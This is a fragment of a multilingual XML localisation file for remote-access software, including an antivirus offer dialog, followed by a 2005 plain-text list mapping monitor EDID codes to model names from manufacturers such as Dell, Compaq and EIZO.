<ko>다운로드 파일을 찾을 수 없으면 *$SHORTCUTKEY*을(를) 눌러 최근 다운로드 항목을 보고 응용 프로그램을 실행합니다.</ko>
<en-gb>If you can't find it, press *$SHORTCUTKEY* to view recent downloads and run the application.</en-gb>
<hu>Ha nem találja, a *$SHORTCUTKEY* megnyomásával nyissa meg a legutóbbi letöltések listáját, és arról indítsa el az alkalmazást.</hu>
<pt-br>Caso não consiga encontrá-lo, pressione *$SHORTCUTKEY* para ver os downloads recentes e executar o aplicativo.</pt-br>
<nl>Als u het niet kunt vinden, drukt u op *$SHORTCUTKEY* om recente downloads weer te geven en de toepassing uit te voeren.</nl>
</msg>
</cat>
<cat name="COLUMN3">
<msg name="TITLE">
<en>Access computer in new window</en>
<de>Greifen Sie in einem neuen Fenster auf den Computer zu.</de>
<es>Acceda al ordenador en una nueva ventana</es>
<fr>Accéder à l'ordinateur dans une nouvelle fenêtre</fr>
<it>Accedi al computer in un'altra finestra</it>
<ru>Удаленный компьютер будет доступен в новом окне.</ru>
<ja>新しいウィンドウでコンピュータにアクセスします</ja>
<zh>在新窗口中访问计算机</zh>
<ko>새 창에서 컴퓨터에 액세스</ko>
<en-gb>Access computer in new window</en-gb>
<hu>A számítógép elérése új ablakban</hu>
<pt-br>Acessar computador em nova janela</pt-br>
<nl>Toegang krijgen tot computer in een nieuw venster</nl>
</msg>
</cat>
<msg name="NOTE">
<en>Alternatively, {start feature-limited session in $BROWSERNAME|$URL}.</en>
<de>Alternativ dazu können Sie {in $BROWSERNAME eine Sitzung mit eingeschränktem Funktionsumfang starten|$URL}.</de>
<es>Otra opción es {iniciar una sesión con funciones limitadas en $BROWSERNAME|$URL}.</es>
<fr>Ou {lancer une session aux fonctionnalités restreintes dans $BROWSERNAME|$URL}.</fr>
<it>In alternativa, {avvia una sessione con funzioni limitate in $BROWSERNAME|$URL}.</it>
<ru>Либо {запустите сеанс с ограниченной функциональностью в $BROWSERNAME|$URL}.</ru>
<ja>または、{$BROWSERNAME で機能限定のセッションを開始します|$URL}。</ja>
<zh>或者,{在 $BROWSERNAME|$URL 中启动功能有限的会话}。</zh>
<ko>또는 {$BROWSERNAME에서 세션을 시작(일부 기능 제한)하십시오|$URL}.</ko>
<en-gb>Alternatively, {start feature-limited session in $BROWSERNAME|$URL}.</en-gb>
<hu>Vagy {indíthat egy korlátozott funkciókkal futó munkamenetet a $BROWSERNAME böngészőablakban|$URL}.</hu>
<pt-br>Você também pode {iniciar sessão limitada em$BROWSERNAME|$URL}.</pt-br>
<nl>U kunt ook {een sessie met gelimiteerde functies starten in $BROWSERNAME|$URL}.</nl>
</msg>
</cat>
<cat name="AV_DIALOG">
<msg name="BODY">
<en>Your host isn't completely protected from modern cyber threats. Click Install to protect your host with complimentary LogMeIn Antivirus powered by Bitdefender</en>
<de>Ihr Host ist nicht vollständig vor modernen Cyberbedrohungen geschützt. Klicken sie auf „Installieren“, um Ihren Host mit dem kostenlosen LogMeIn Antivirus powered by Bitdefender zu schützen.</de>
<es>Su host no está totalmente protegido frente a ciberamenazas modernas. Haga clic en Instalar para proteger el host con el LogMeIn Antivirus de cortesía, dotado de tecnología de Bitdefender.</es>
<fr>Votre hôte n’est pas complètement protégé contre les cybermenaces modernes. Cliquez sur Installer pour protéger votre hôte avec LogMeIn Antivirus gratuit propulsé par Bitdefender</fr>
<it>Il tuo host non è del tutto protetto contro le moderne minacce informatiche. Fai clic su Installa per proteggere gratuitamente il tuo host con LogMeIn Antivirus con tecnologia Bitdefender</it>
<ru>Ваш хост-компьютер неполностью защищен от современных киберугроз. Нажмите кнопку «Установить», чтобы защитить хост-компьютер с помощью бесплатного ПО LogMeIn Antivirus на основе Bitdefender.</ru>
<ja>このホストは、現代のサイバー脅威から完全に保護されているわけではありません。[インストール] をクリックすると、Bitdefender を搭載した無料の LogMeIn Antivirus でホストを保護できます。</ja>
<zh>您的主机无法完全免受现代网络威胁的影响。点击安装由 Bitdefender 驱动的免费 LogMeIn Antivirus 以保护您的主机</zh>
<ko>최신 사이버 위협으로부터 호스트가 완벽히 보호되지 않습니다. 호스트를 보호하려면 Bitdefender로 작동하는 LogMeIn Antivirus 무료 서비스 버전 설치를 클릭하십시오.</ko>
<en-gb>Your host isn't completely protected from modern cyber threats. Click Install to protect your host with complimentary LogMeIn Antivirus powered by Bitdefender</en-gb>
<hu>Az Ön gazdaszámítógépe nincs teljesen védve a mai kiberfenyegetésekkel szemben. A Telepítés gombra kattintva gondoskodhat a védelméről a Bitdefender technológiáján alapuló LogMeIn Antivirus segítségével</hu>
<pt-br>Seu host não está completamente protegido contra as modernas ameaças cibernéticas. Clique em Instalar para proteger seu host com o LogMeIn Antivirus gratuito com tecnologia Bitdefender</pt-br>
<nl>Uw host is niet volledig beschermd tegen moderne cyberbedreigingen. Klik op Installeren om uw host te beschermen met de gratis LogMeIn Antivirus powered by Bitdefender</nl>
</msg>
<msg name="INSTALL">
<en>Install and Close</en>
<de>Installieren und schließen</de>
<es>Instalar y cerrar</es>
<fr>Installer et fermer</fr>
<it>Installa e chiudi</it>
<ru>Установить и закрыть</ru>
<ja>インストールして閉じる</ja>
<zh>安装并关闭</zh>
<ko>설치 후 창 닫기</ko>
<en-gb>Install and close</en-gb>
<hu>Telepítés és bezárás</hu>
<pt-br>Instalar e fechar</pt-br>
<nl>Installeren en sluiten</nl>
</msg>
<msg name="CLOSERC">
<en>Close</en>
<de>Schließen</de>
<es>Cerrar</es>
<fr>Fermer</fr>
<it>Chiudi</it>
<ru>Закрыть</ru>
<ja>閉じる</ja>
<zh>关闭</zh>
<ko>닫기</ko>
<en-gb>Close</en-gb>
<hu>Bezárás</hu>
<pt-br>Fechar</pt-br>
<nl>Sluiten</nl>
</msg>
</cat>
</msgs>
Imondevs.txtRY5= Date 2005-11-05 Version 015 Records 2,787
;
; latest version available from http://siv.mysite.wanadoo-members.co.uk/downloads/mondevs.txt
;
; update program available from http://siv.mysite.wanadoo-members.co.uk/downloads/mondevs.zip
;
; please e-mail any updates or corrections to " ray (at) pobox (dot) co (dot) uk " (anti-spam)
;
AAC5321=AcerView 33s
ADI0140=Micro Scan 17X
ADI0790=ADI P700
ADI0910=ADI P900
ADI0940=Micro Scan 4V
ADI0D40=Micro Scan 5V
ADI0E30=HIGHSCREEN MS 17R
ADI1130=ADI Microscan V77
ADI1150=Micro Scan 17
ADI1240=Micro Scan 6G(21inch)
ADI1330=Duo Multimedia Pack
ADI1430=Micro Scan 5G/5GD(17inch)
ADI1530=ADI Microscan 5GT
ADI1560=ADI P55
ADI1772=ADI P77
ADI1F30=ADI Microscan V77F
ADI2015=ADI MS A515
ADI217A=ADI MS A715 Analog
ADI217D=ADI MS A715 Digital
ADI2450=ADI Microscan A704
ADI2550=ADI Microscan A904
ADI2650=ADI Microscan A2304
ADI2930=ADI Microscan A701
ADI2E30=ADI Microscan E50
ADI3030=ADI MicroScan A707
ADI3130=ADI Microscan A505
ADI3430=ADI Microscan 5PD
ADI3530=ADI ProVista 5PM
ADI3730=ADI Microscan GT56
ADI3E30=ADI Microscan E66
ADI3E50=ADI Microscan G900
ADI4E50=ADI MicroScan 9L
ADI5130=ADI Microscan G500
ADI5230=ADI Microscan E75
ADI5450=ADI Microscan G710
ADI5750=ADI Microscan G910
ADI5850=ADI Microscan G1000
ADI5D10=ADI MicroScan A600
ADI5F10=ADI TM-34
ADI6450=ADI MicroScan A610
ADI7550=ADI MicroScan G700
ADI7650=ADI ProVista E44+
ADI7850=ADI MicroScan 6T+
ADI8110=ADI TM-29
ADI8350=ADI MicroScan I600
ADI8450=ADI MicroScan I612
ADI8550=ADI MicroScan L912
ADI8630=ADI MicroScan M500
ADI8730=ADI MicroScan M510
ADI8830=ADI MicroScan M700
ADI8930=ADI MicroScan E66
ADI9530=ADI MicroScan F720
ADI9630=ADI MicroScan F730
ADI9750=ADI MicroScan G700i
ADI9830=ADI MicroScan F520
ADIA950=ADI MicroScan I610
ADIAD30=ADI Microscan M900
ADIAF50=ADI MicroScan L712
ADIB350=ADI MicroScan L600
ADIB450=ADI MicroScan L600
ADIB650=ADI MicroScan A600M
ADIB750=ADI MicroScan A600M
ADIBC30=ADI Microscan G720
ADIBE30=ADI Microscan S500
ADIC150=ADI Microscan L920
ADIC850=ADI Microscan F950
ADICB30=ADI Microscan MX15
ADICC30=ADI Microscan MX15M
ADID250=ADI Microscan I500
ADID350=ADI MicroScan I700
ADIF230=ADI P2150
ADIF790=ADI P750
ADIF910=ADI P950
AOCA566=AOC SPECTRUM 5Nlr
AOCA782=AOC SPECTRUM 7Nlr
AOCA995=Fujitsu Siemens 95 kHz Monitor
AOCD350=AOC SPECTRUM 4V,4VA,4Vlr & 4VlrA, 4Vn, 4VnA
AOCD566=AOC SPECTRUM 5Vlr & 5VlrA
AOCE570=AOC SPECTRUM 5Glr
AOCE750=AOC SPECTRUM 7DlrA
API0037=AcerView 55
API0138=AcerView 56is
API4138=AcerView 56is
API414C=AcerView 76is
API424C=AcerView 76ie
API424E=AcerView 78ie
API440B=AcerView 11D
API4421=AcerView 33D
API4463=AcerView 99D
API4522=AcerView 34e
API4536=AcerView 54e
API4538=AcerView 56e
API454C=AcerView 76ie
API454E=AcerView 78ie
API4938=AcerView 56i
API494C=AcerView 76i
API494E=AcerView 78i
API4962=AcerView 98i
API4C21=AcerView 33DL
API4C22=AcerView 34TL
API4C37=AcerView 55L
API4C38=AcerView 56L
API4E4C=AcerView 76N
API5321=AcerView 33s
API5322=AcerView 34Ts
API5336=AcerView 54s
API5338=AcerView 56s
API534C=AcerView 76is
API5422=AcerView 34T
API9701=AcerView 55e
API9702=AcerView 76e
API9703=AcerView 35c
API9704=AcerView 55c
API9705=AcerView 56c
API9706=AcerView 76c
API9707=AcerView 77is
API9708=AcerView 76t
API9709=AcerView 79t
API9710=AcerView 56e
API9718=LT 1995c
APP0352=AppleVision 850/850AV
APP1017=AppleVision 1710
APP9219=Apple Cinema 20 Display
APP921F=Apple Cinema 23 HD Display
AST8001=ASTVision 4V
AST8002=ASTVision 4I
AST8003=ASTVision 4N
AST8004=ASTVision 4L
AST8005=ASTVision 5L
AST8006=ASTVision 7L
AST8007=ASTVision 7H
AST8008=ASTVision 20H
AST8009=AST Sabre
AST800A=ASTVision 5V
BMM01D4=Proview LCD 14-inch 468/BMM468
BMM0238=Proview LCD 15-inch 568/BMM568
BMM030C=Proview LCD 17-inch 761/762/780/BMM780 
BMM035D=Proview LCD 18-inch 861
BRG00AB=Bridge BM17C
CCP4637=EPSON CRV-1700
CPC8000=Daewoo CPC-8000
CPQ0130=COMPAQ Presario V410 Color Monitor
CPQ1146=COMPAQ Presario 14SV
CPQ1196=COMPAQ Presario 1400
CPQ1246=COMPAQ Presario 15SV
CPQ1296=COMPAQ Presario 1500
CPQ1307=COMPAQ Presario 1510
CPQ1320=COMPAQ P70 Color Monitor
CPQ1321=COMPAQ P110 Color Monitor
CPQ1322=COMPAQ V50 Color Monitor
CPQ1323=COMPAQ P50 Color Monitor
CPQ1324=COMPAQ TFT500 Flat Panel Monitor
CPQ1325=COMPAQ V900 Color Monitor
CPQ1327=COMPAQ P1610 Color Monitor
CPQ1329=COMPAQ TFT8000 Flat Panel Monitor
CPQ1330=COMPAQ P75 Color Monitor
CPQ1331=COMPAQ V55 Color Monitor
CPQ1332=COMPAQ V75 Color Monitor
CPQ1333=COMPAQ TFT450 Flat Panel Monitor
CPQ1334=COMPAQ V40 Color Monitor
CPQ1336=COMPAQ V1100 Color Monitor
CPQ1337=COMPAQ P1100 Color Monitor
CPQ1338=COMPAQ V45 Color Monitor
CPQ1340=COMPAQ V700 Color Monitor
CPQ1341=COMPAQ TFT5000 Flat Panel Monitor
CPQ1343=COMPAQ V500 Color Monitor
CPQ1345=COMPAQ TFT8020 Flat Panel Monitor
CPQ1347=COMPAQ V1000 Color Monitor
CPQ1349=COMPAQ S700 Color Monitor
CPQ1350=COMPAQ S900 Color Monitor
CPQ1353=COMPAQ P900 Color Monitor
CPQ1356=COMPAQ S500 Color Monitor
CPQ1357=COMPAQ TFT5000S Flat Panel Monitor
CPQ1358=COMPAQ TFT5000S Flat Panel Monitor
CPQ1359=COMPAQ TFT7000 Flat Panel Monitor
CPQ1361=COMPAQ S910 Color Monitor
CPQ1362=COMPAQ S710 Color Monitor
CPQ1365=COMPAQ TFT5000S Flat Panel Monitor
CPQ1370=COMPAQ TFT5010 Flat Panel Monitor
CPQ1371=COMPAQ S510 Color Monitor
CPQ1383=COMPAQ TFT5004/TFT5005 Flat Panel Monitor
CPQ1400=COMPAQ Presario 1410
CPQ1406=COMPAQ Presario 1425
CPQ1433=COMPAQ i560 Color Monitor
CPQ1459=COMPAQ FP5315 Flat Panel Monitor
CPQ145E=COMPAQ FP17 Flat Panel Monitor
CPQ1500=COMPAQ Presario 1525
CPQ1520=COMPAQ Presario 1725
CPQ1526=COMPAQ Presario 1720
CPQ170A=COMPAQ V70 Color Monitor
CPQ1730=COMPAQ V90 Color Monitor
CPQ3001=COMPAQ Presario FX500
CPQ3002=COMPAQ Presario 1525S
CPQ3004=COMPAQ Presario FX700
CPQ3006=COMPAQ Presario 1725S
CPQ3007=COMPAQ Presario V510 Color Monitor
CPQ3011=COMPAQ Presario FP Series Flat Panel Monitor
CPQ3012=COMPAQ Presario MV500 Color Monitor
CPQ3013=COMPAQ Presario MV700 Color Monitor
CPQ3014=COMPAQ Presario MV400 Color Monitor
CPQ3016=COMPAQ Presario V910 Color Monitor
CPQ3017=COMPAQ Presario MV900 Color Monitor
CPQ3021=COMPAQ B400 Color Monitor
CPQ3022=COMPAQ CV715 Color Monitor
CPQ3023=COMPAQ Dawncom MV520 Color Monitor
CPQ3024=COMPAQ Dawncom MV720 Color Monitor
CPQ3025=COMPAQ MV520 Color Monitor
CPQ3026=COMPAQ MV720 Color Monitor
CPQ3027=COMPAQ MV920 Color Monitor
CPQ3028=COMPAQ CV915 Color Monitor
CPQ3029=COMPAQ B500 Color Monitor
CPQ3031=COMPAQ CV1115 Color Monitor
CPQ3032=COMPAQ B420 Color Monitor
CPQ3033=COMPAQ B520 Color Monitor
CPQ3034=COMPAQ CV515 Color Monitor
CPQ3040=COMPAQ CV1130 Color Monitor
CPQ3041=COMPAQ 700T Color Monitor
CPQ3042=COMPAQ 900T Color Monitor
CPQ3043=COMPAQ FP725D Digital Flat Panel Monitor
CPQ3044=COMPAQ FP730A Analog Flat Panel Monitor
CPQ3045=COMPAQ MV925 Color Monitor
CPQ3046=COMPAQ MV730i Color Monitor
CPQ3047=COMPAQ FP730D Digital Flat Panel Monitor
CPQ3048=COMPAQ MV525 Color Monitor
CPQ3049=COMPAQ FS700 Color Monitor
CPQ3052=COMPAQ FP740A Analog Flat Panel Monitor
CPQ3054=COMPAQ B440 Color Monitor
CPQ3055=COMPAQ B540 Color Monitor
CPQ3058=COMPAQ FS710 Color Monitor
CRN000A=Cornerstone c700
CRN000D=Cornerstone p1400
CRN000E=Cornerstone c1001
CRN000F=Cornerstone p1500
CRN0010=Cornerstone p1600
CRN0012=Cornerstone p1700
CRN0013=Cornerstone v300
CRN0014=Cornerstone f1800
CRN0016=Cornerstone p1401
CRN001C=Cornerstone p1450
CRN001D=Cornerstone p1460
CRN0020=Cornerstone c1030
CRN0024=Cornerstone p1650
CRN0025=Cornerstone p1750
CRN0026=Cornerstone p2450
CRN0027=Cornerstone p2460
CRN1700=Cornerstone C901
CRN1800=Cornerstone C1025
CRN1900=Cornerstone F825
CTX1004=CTX PV500,PV500B
CTX1006=CTX S500,S500B,S530
CTX1012=CTX S501A,S501BA,S521A
CTX1501=CTX PV505
CTX1502=CTX PV520
CTX1785=HIGHSCREEN MS 1785P
CTX2001=CTX PV720,PV720L
CTX2005=CTX PV700,PV700B
CTX2007=CTX PV722,PV702
CTX2009=CTX S700,S700B,S730
CTX2085=HIGHSCREEN MS 8520P
CTX3680=HIGHSCREEN MS 17S
CTX4001=CTX P922,P902
CTX4002=CTX P922(DVI),P902(DVI)
CTX5370=CTX VL700 series
CTX5374=CTX PR711FL
CTX5377=CTX EX950F
CTX5378=CTX EX700F series
CTXB301=MS700
CTXB401=CTX FP705
CTXE801=CTX EX1300F,VL1300
CYB3131=CyberVision C112
CYB5031=CyberVision C40
CYB5032=CyberVision CP21
CYB5331=CyberVision C50
CYB5332=CyberVision C52
CYB5333=CyberVision CP45
CYB5334=CyberVision C52-2
CYB5434=CyberVision C50-2
CYB5631=CyberVision C70
CYB5632=CyberVision C72
CYB5635=CyberVision C70-2
CYB5637=CyberVision C72-2
CYB5931=CyberVision C92
DEC043A=Digital 24 in. Color (FR-PCXAV-AZ)
DEC0479=Digital 19 in. Color (FR-PCXAV-CY)
DEC047A=Digital 19 in. Color (FR-PCXAV-CZ)
DEC06D9=FR-PCXAV-VY
DEC06DA=FR-PCXAV-VZ
DEC06F9=FR-PCXAV-WY
DEC06FA=Digital 21 in. Color (FR-PCXAV-WZ)
DEC0739=FR-PCXAV-YY
DEC073A=Digital 17 in. Color (FR-PCXAV-YZ)
DEC770C=Digital 14 in. Color Monitor (FR-PCXCV-C*)
DEC8209=Digtial 17 in. Color Monitor (FR-PCXBV-L*)
DEC970C=Digital 15 in. Color Monitor (FR-PCXCV-D*)
DEC9A06=Digital 19 in. Color (FR-PCXAV-TZ)
DECBA08=Digital 15 in. Color Monitor (FR-PCXBV-E*)
DECDA08=Digital 17 in. Color Monitor (FR-PCXBV-F*)
DEFAULT=Default Monitor
DEL139A=Dell Ultrascan 14XE
DEL139B=Dell Ultrascan 14XE
DEL139C=Dell Ultrascan 14XE
DEL139D=Dell Ultrascan 14XE
DEL1569=Dell 1569
DEL2210=Dell Ultrascan V17X
DEL2211=Dell Ultrascan V17X
DEL2212=Dell Ultrascan V17X
DEL2213=Dell Ultrascan V17X
DEL2214=Dell Ultrascan 21TE
DEL2215=Dell Ultrascan 21TE
DEL2216=Dell Ultrascan 21TE
DEL2217=Dell Ultrascan 21TE
DEL3000=Dell P791
DEL3001=Dell 1701FP (digital)
DEL3002=Dell 1701FP (analog)
DEL3003=Dell 1503FP (Digital)
DEL3004=Dell 1503FP (Analog)
DEL3005=Dell P793
DEL3006=Dell 1702FP (Digital)
DEL3007=Dell 1702FP (Analog)
DEL3008=Dell M782
DEL3009=Dell 1900FP (Digital)
DEL300A=Dell E770s
DEL300B=Dell 1900FP (Analog)
DEL300C=Dell 1504FP (Analog)
DEL300D=Dell 1504FP (Digital)
DEL300E=Dell M992
DEL300F=Dell E171FP
DEL3010=Dell 1703FP (Analog)
DEL3011=Dell 1703FP (Digital)
DEL3012=Dell E773s
DEL3013=Dell M783s
DEL3024=Dell VS17X
DEL3025=Dell VS17X
DEL3026=Dell VS17X
DEL3027=Dell VS17X
DEL3092=Dell 1700FP
DEL30CC=Dell M570
DEL3142=Dell M780
DEL3276=Dell D1428L
DEL32B0=Dell M781s
DEL32FE=Dell D828L
DEL3319=Dell 828fi
DEL4000=Dell 1901FP (Analog)
DEL4001=Dell 1901FP (Digital)
DEL4273=Dell V15X
DEL5000=Dell P1130
DEL5001=Dell P792
DEL5002=Dell P992
DEL5033=Dell D825HT
DEL5062=Dell D1025HTX
DEL50AB=Dell P1110
DEL50DD=Dell P990
DEL510F=Dell P780
DEL512C=Dell D825TM
DEL5155=Dell D1025TM
DEL515B=Dell D1626HT
DEL5178=Dell P991
DEL5314=Dell D2026T
DEL5319=Dell 1726T-HS/D1025HT
DEL5348=Dell P1690
DEL602F=Dell D2128-TCO
DEL6124=Dell D1025HE
DEL62F5=Dell P790
DEL62FF=Dell D825HR
DEL635E=Dell ES-17
DEL6915=DELL 1569
DEL7001=Dell M991
DEL7002=Dell E771p
DEL7003=Dell E771mm
DEL7004=Dell M782p
DEL7005=Dell E772p
DEL7006=Dell E151FPp
DEL7007=Dell W1700LCDTV (Analog)
DEL7008=Dell W1700LCDTV (Digital)
DEL7009=Dell W2300LCDTV(Analog)
DEL700A=Dell W2300LCDTV(Digital)
DEL700C=Dell P1230
DEL7077=Dell D1226H
DEL708A=Dell M990
DEL7140=Dell 1501FP(Digital)
DEL715D=Dell 1500FP
DEL71A5=Dell M770
DEL730B=Dell D1028L
DEL7340=Dell E770p
DEL73A4=Dell 1501FP(Analog)
DEL73BD=Dell M781p/M781mm
DEL8162=Dell TFT 1400FP
DEL93D5=Dell M1110
DELA000=Dell E551a
DELA001=Dell E771a
DELA002=Dell 2000FP(Analog)
DELA003=Dell 2000FP(Digital)
DELA004=Dell E151FP
DELA005=Dell E151FPb
DELA006=Dell E171FPb
DELA007=Dell 2001FP (Analog)
DELA008=Dell 2001FP (Digital)
DELA009=DELL E152FP
DELA00A=Dell E172FP
DELA2F1=Dell E550
DELA355=Dell E550mm/E550mmw
DELC0EC=Dell 1401FP
DELD000=Dell E551c
DELD002=Dell E772c
DELD005=Dell E773c
DELE000=Dell 1800FP(Analog)
DELE001=Dell 1800FP(Digital)
DELE002=Dell 1800FP(Analog)
DELE003=Dell 1800FP(Digital)
DELE004=Dell 1801FP (Analog)
DELE005=Dell 1801FP (Digital)
DELE006=Dell W3000(Analog)
DELE007=Dell W3000(Digital)
DPC0570=Delta DA-570
DPC0770=Delta DB-770
DPC0995=Delta DA-995
DPC1565=Delta DA-1565
DPC1765=Delta DB-1765
DPC1770=Delta DC-770
DPC4570=Delta DE-570
DWE0000=Daewoo CMC-2000MW
DWE1000=Daewoo CMC-2100MW
DWE102A=Daewoo CMC-2102M/MPR
DWE1423=Daewoo CMC-1423B1
DWE1427=Daewoo CMC-1427X1
DWE1502=Daewoo CMC-1502B1
DWE1505=Daewoo CMC-1505X
DWE1507=Daewoo CMC-1507X1
DWE1703=Daewoo CMC-1703B
DWE4142=Daewoo DT-1414AV
DWE4143=Daewoo CMC-1414BAW
DWE4181=Daewoo DT-1418AD
DWE418A=Daewoo CMC-1418AD/MPR
DWE418B=Daewoo DT-1418S
DWE4202=Daewoo CMC-1420AV
DWE4203=Daewoo DT-1420BA
DWE420A=Daewoo CMC-1420AVGW
DWE4223=Daewoo CMC-1422BA
DWE4233=Daewoo CMC-1423B
DWE4241=Daewoo CMC-1424SW
DWE4242=Daewoo CMC-1424XW
DWE4271=Daewoo CMC-1427S
DWE4272=Daewoo CMC-1427XW
DWE4281=Daewoo CMC-1428SW
DWE4282=Daewoo CMC-1428XW
DWE4312=Daewoo 431X
DWE5001=Daewoo CMC-1500TF
DWE5003=Daewoo CMC-1500BA
DWE5013=Daewoo CMC-1501BA
DWE501A=Daewoo CMC-1501BA1
DWE5023=Daewoo CMC-1502B
DWE503A=Daewoo DT-1503B/MPR
DWE5093=Daewoo CMC-1509BW
DWE5112=Daewoo 511X
DWE5113=Daewoo CMC-1511BW
DWE5123=Daewoo 512B
DWE5182=Daewoo 518X
DWE5183=Daewoo 518B
DWE5193=Daewoo 519B
DWE7000=Daewoo CMC-1700M
DWE700B=Daewoo CMC-1700MD/MPR
DWE7010=Daewoo CMC-1701MW
DWE701B=Daewoo CMC-1701M2W
DWE7044=Daewoo CMC-1704C
DWE7053=Daewoo CMC-1705BW
DWE7073=Daewoo CMC-1707BW
DWE7103=Daewoo 710B
DWE7104=Daewoo 710C
DWE9015=Daewoo 901D
ECS0001=ECS VERTOS 1401
ECS0002=ECS VERTOS 1501
ECS0003=ECS VERTOS 1502
ECS0004=ECS VERTOS 1503
ECS0005=ECS VERTOS 1700
ECS0006=ECS VERTOS 1701
ECS0007=ECS VERTOS 1702
ECS0008=ECS VERTOS 2101
ECS0009=ECS VERTOS 2102
EHJ3137=EPSON CRV-1700S
EHJ3138=EPSON CRV-1780D
EHJ3231=EPSON CRV-2100D
EIZ0200=EIZO FlexScan F351
EIZ0201=EIZO FlexScan F553
EIZ0202=EIZO FlexScan F563
EIZ0203=EIZO FlexScan F764
EIZ0204=EIZO FlexScan F784
EIZ0206=EIZO FlexScan 6600
EIZ0300=EIZO FlexScan 6500
EIZ0302=EIZO 9060S
EIZ0303=EIZO 9065S
EIZ0305=EIZO FlexScan T563
EIZ0306=EIZO 9070S
EIZ0307=EIZO 9080i
EIZ0308=EIZO 9400i
EIZ0309=EIZO 9500
EIZ030A=EIZO FlexScan F340iW
EIZ030C=EIZO FlexScan F552
EIZ030D=EIZO FlexScan F560iW
EIZ030E=EIZO FlexScan F750i
EIZ030F=EIZO FlexScan F760iW
EIZ0310=EIZO FlexScan F780iW
EIZ0311=EIZO FlexScan T560i
EIZ0312=EIZO FlexScan T660i
EIZ0313=EIZO FlexScan T562
EIZ0314=EIZO FlexScan T662
EIZ038C=EIZO FlexScan F550iW
EIZ1000=EIZO F35
EIZ1001=EIZO T57S
EIZ1002=EIZO T67
EIZ1003=EIZO T67S
EIZ1004=EIZO F56
EIZ1005=EIZO T57
EIZ1006=EIZO F77
EIZ1007=EIZO F78
EIZ1008=EIZO F55
EIZ1009=EIZO L23
EIZ1011=EIZO T77
EIZ1012=EIZO FlexScan L34
EIZ1013=EIZO F67
EIZ1014=EIZO T68
EIZ1015=EIZO F55S
EIZ1018=EIZO FlexScan F77S
EIZ1019=EIZO L66
EIZ1020=EIZO FlexScan F57
EIZ1021=EIZO L360
EIZ1022=EIZO T960
EIZ1400=EIZO FX-B5
EIZ1401=EIZO TX-C7S
EIZ1403=EIZO TX-D7S
EIZ1404=EIZO FX-C6
EIZ1405=EIZO TX-C7
EIZ1406=EIZO FX-E7
EIZ1407=EIZO FX-E8
EIZ1408=EIZO FX-C5
EIZ1409=EIZO L23
EIZ1412=EIZO FlexScan L34
EIZ1413=EIZO FX-D7
EIZ1414=EIZO TX-D7
EIZ1415=EIZO FX-C5S
EIZ1418=EIZO NANAO FlexScan FX-E7S
EIZ1419=EIZO L66
EIZ1420=EIZO NANAO FlexScan FX-C7
EIZ1421=EIZO L360
EIZ1422=EIZO T960
ELM1400=Elonex MN009/I, Interlaced 14in
ELM1401=Elonex MN030/I, Non-Interlaced 14in
ELM1402=Elonex MN034, Non-Interlaced 14in
ELM1403=Elonex MN034P, Non-Interlaced 14in
ELM1404=Elonex CDS421Q, Interlaced 14in
ELM1405=Elonex CDS437K, Interlaced 14in
ELM1406=Elonex CDS4586, Interlaced 14in
ELM1407=Elonex SV14/LR, Interlaced 14in
ELM1408=Elonex TE1438G, Interlaced 14in
ELM1409=Elonex TE1464G, Non-Interlaced 14in
ELM1410=Elonex MN069, Non-Interlaced 14in
ELM1500=Elonex MN024/H, Non-Interlaced 15in
ELM1501=Elonex MN041, Non-Interlaced 15in
ELM1502=Elonex MN040, Non-Interlaced 15in
ELM1700=Elonex MN022, Non-Interlaced 17in
ELM1701=Elonex MN022P, Non-Interlaced 17in
ELM1702=Elonex MN044, Non-Interlaced 17in
ELM1703=Elonex XV17(CDX423), Non-Interlaced 17in
ELM1704=Elonex XV17, Non-Interlaced 17in
ELM1705=Elonex MN045, Non-Interlaced 17in
ELM2100=Elonex MN029P, Non-Interlaced 21in
ELS4160=Elsa Ecomo Office
ENC1600=T550
ENC1601=P4260
ENC1602=F520
ENC1603=F980
ENC1604=F730
ENC1605=T760
ENC1606=L661
ENC1607=L680
ENC1609=L350
ENC1610=T961
ENC1611=L660
ENC1612=F930
ENC1613=T761
ENC1614=T962
ENC1615=T561
ENC1616=L351
ENC1617=L371
ENC1618=L371
ENC1619=L671
ENC1620=L671
ENC1622=L771
ENC1626=L675
ENC1627=L675
EPIA770=Envision EN-S1770 & EN-S1770A
EPIA790=Envision EN-S1785 & EN-S1785A
EPIA990=EPI ENVISION EN-980e
EPIA995=Envision EN-S1995 & EN-S1995A
EPIA998=Envision EN-985e
EPIB780=Envision EN-7500
EPID700=EPI ENVISION EN-770e
EPID775=Envision EN-775e
EPIE560=Envision LCD MONITOR EN-LM500, EN-5100 or EN-5100e
EPIE562=Envision EN-5200e
EPIE563=Envision EN-5200ei
EPIE780=Envision LCD Monitor EN-7100e
EPIE781=Envision EN-7100s
EPIE784=Envision EN7220
EPIE880=Envision EN-8100e
EPIE925=Envision EN9250
EPIE980=Envision EN9110
EPIF700=Envision EFT7x0 Series
EPIF770=Envision EN-710 & EN-710e
EPIF990=Envision EFT9x0 Series
FCM3313=Funai 17GD
FPA0612=Fujitsu 1554G+
FPA2D30=Fujitsu 1568G1
FPA2DF9=Fujitsu 1769G
FSC0408=FSC SCALEO CTM5020
FUJ0118=FUJITSU x214
FUJ0119=Fujitsu x150f
FUJ0210=Fujitsu FMV-DP997,FMVWDP214
FUJ0219=FUJITSU x151f
FUJ0319=FUJITSU e150f
FUJ0419=FUJITSU x152f
FUJ1119=FUJITSU x180f
FUJ1218=FUJITSU x192
FUJ2110=Fujitsu FMV-DP9710,9710A
FUJ2111=Fujitsu VL-1700SS
FUJ2118=Fujitsu x176
FUJ2218=Fujitsu x177
FUJ2318=Fujitsu x177a
FUJ2418=FUJITSU e177
FUJ2518=FUJITSU e178
FUJ2610=Fujitsu FMVDP9714
FUJ2618=FUJITSU x178
FUJ3118=Fujitsu e155
FUJ3210=Fujitsu FMV-DP849
FUJ3218=FUJITSU e156
FUJ3711=Fujitsu VL-1530SW
FUJ3811=Fujitsu VL-1540S
FUJ3911=Fujitsu VL-1550S
FUJ3A11=Fujitsu VL-P150
FUJ4201=Fujitsu FMV-DP975
FUJ4301=Fujitsu FMV-DPS972
FUJ4401=Fujitsu FMV-DP976
FUJ4501=Fujitsu FMV-DPA971
FUJ4601=Fujitsu FMV-DP977
FUJ4701=Fujitsu FMV-DP978
FUJ5110=Fujitsu FMV-DP98X1
FUJ5201=Fujitsu FMV-DP844
FUJ5301=Fujitsu FMV-DPS842
FUJ5401=Fujitsu FMV-DPS843
FUJ5501=Fujitsu FMV-DP845
FUJ5601=Fujitsu FMV-DP846
FUJ6110=Fujitsu FMV-DP97X4
